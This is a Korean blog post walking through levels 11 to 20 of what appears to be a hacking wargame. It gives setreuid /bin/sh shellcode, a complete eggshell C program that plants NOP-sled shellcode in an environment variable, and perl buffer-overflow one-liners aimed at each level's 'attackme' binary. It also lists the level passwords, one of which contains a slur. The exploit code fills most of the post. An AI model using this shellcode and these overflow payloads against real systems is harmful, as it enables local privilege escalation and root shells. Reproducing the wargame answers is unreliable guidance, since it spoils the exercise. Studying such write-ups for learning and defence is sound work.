/*
 * http://sosal.tistory.com/
 *            made by so_Sal
 */



////////// hkpco. universal setreuid() shellcode. 문서에서 발췌해온 쉘코드입니다. //////////////
자주쓰는 쉘코드입니다.
http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt


(shell에서 환경변수 추가)
export hk=`perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

#include<stdio.h>
int main( void )
{
        char *p = getenv("hk");
        printf( "%p\n" , p );
}

 

 

//// 이상하게 19렙에서 setuid 함수가 동작을 하지 않는....
//// 만들기 귀찮아서 인터넷에서 가져왔습니다. 출처는 아래 링크
http://waintman.tistory.com/19?srchid=BR1http%3A%2F%2Fwaintman.tistory.com%2F19


#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include<memory.h>

#define DEFAULT_OFFSET          0
#define DEFAULT_BUFFER_SIZE     256
#define DEFAULT_EGG_SIZE        2048
#define NOP             0x90

char shellcode[] =// 첫줄은 setuid(geteuid())
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long
get_sp(void){
     __asm__("movl %esp, %eax");
}

int main(int argc, char **argv){
char    *buff, *ptr, *egg;
long    *addr_ptr, addr;

int   
  offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int     i, eggsize=DEFAULT_EGG_SIZE;

if ( argc > 1 ) bsize = atoi(argv[1]);
if ( argc > 2 ) offset = atoi(argv[2]);
if ( argc > 3 ) eggsize = atoi(argv[3]);

if ( !(buff = malloc(bsize))){
      printf("Can't allocate memory for bsize\n");
      exit(0);
}
if ( !(egg = malloc(eggsize))){
    printf("Can't allocate memory for eggsize");
    exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *)ptr;
for(i = 0; i < bsize; i+= 4)
      *(addr_ptr++) = addr;
ptr = egg;
for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
      *(ptr++) = NOP;
for(i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
putenv(egg);
memcpy(buff, "RET=", 4);
putenv(buff);
system("/bin/bash");
}

 

 

 

 / *
   * 아래는 비밀번호와 공격코드입니다. 
   * deadbeef ( \xef\xbe\xad\xde를 제외한 16진수값은 쉘코드를 가리키는 메모리 값입니다.
   * hkpco의 universal setreuid shellcode나 waintman 쉘코드를 만들어서 메모리값을 받아오면 됩니다.
   */

 

 

11 :: "what!@#$?"            
./attackme `perl -e 'print "A"x268,"\xff\xff\xff\xff"'`

12 :: " it is like this"
(perl -e 'print "A"x268,"\x98\xfa\xff\xbf"';cat) | ./attackme

13 :: " have no clue"
./attackme `perl -e 'print "A"x1036,"\x67\x45\x23\x01",
"A"x12,"\x98\xfa\xff\xbf"'`

14 :: " what that nigga want?"
(perl -e 'print "A"x40,"\xef\xbe\xad\xde"';cat) | ./attackme

15 :: " guess what"
(perl -e 'print "\xb2\x84\x04\x08"x100';cat) | ./attackme
objdump -S ./attackme | grep deadbeef -> 80484b0:       81 38 ef be ad de
\x080484b0 +2 위치에 deadbeef가 있다는걸 알 수 있음

16 :: " about to cause mass   "
(perl -e 'print "\xff\xff\xff\xff"x100';cat) | ./attackme
      gdb에서 " p shell " 명령어에서 함수의 주소를 알아낸다.
                              
17 :: " king poetic"          "
(perl -e 'print "\xff\xff\xff\xff"x100';cat) | ./attackme

18 :: " why did you do it     "
(perl -e 'print "\x08"x4,"\xef\xbe\xad\xde"';cat) | ../attackme

19 :: "swimming in pink       "
(perl -e 'print "A"x44,"\x68\xfa\xff\xbf"';cat) | ./attackme

20 :: "we are just regular guys"

 20번은 포매스트링 기법인데, 짧막하게 정리하기 힘드므로 생략

Posted by sosal sosal

댓글을 달아 주세요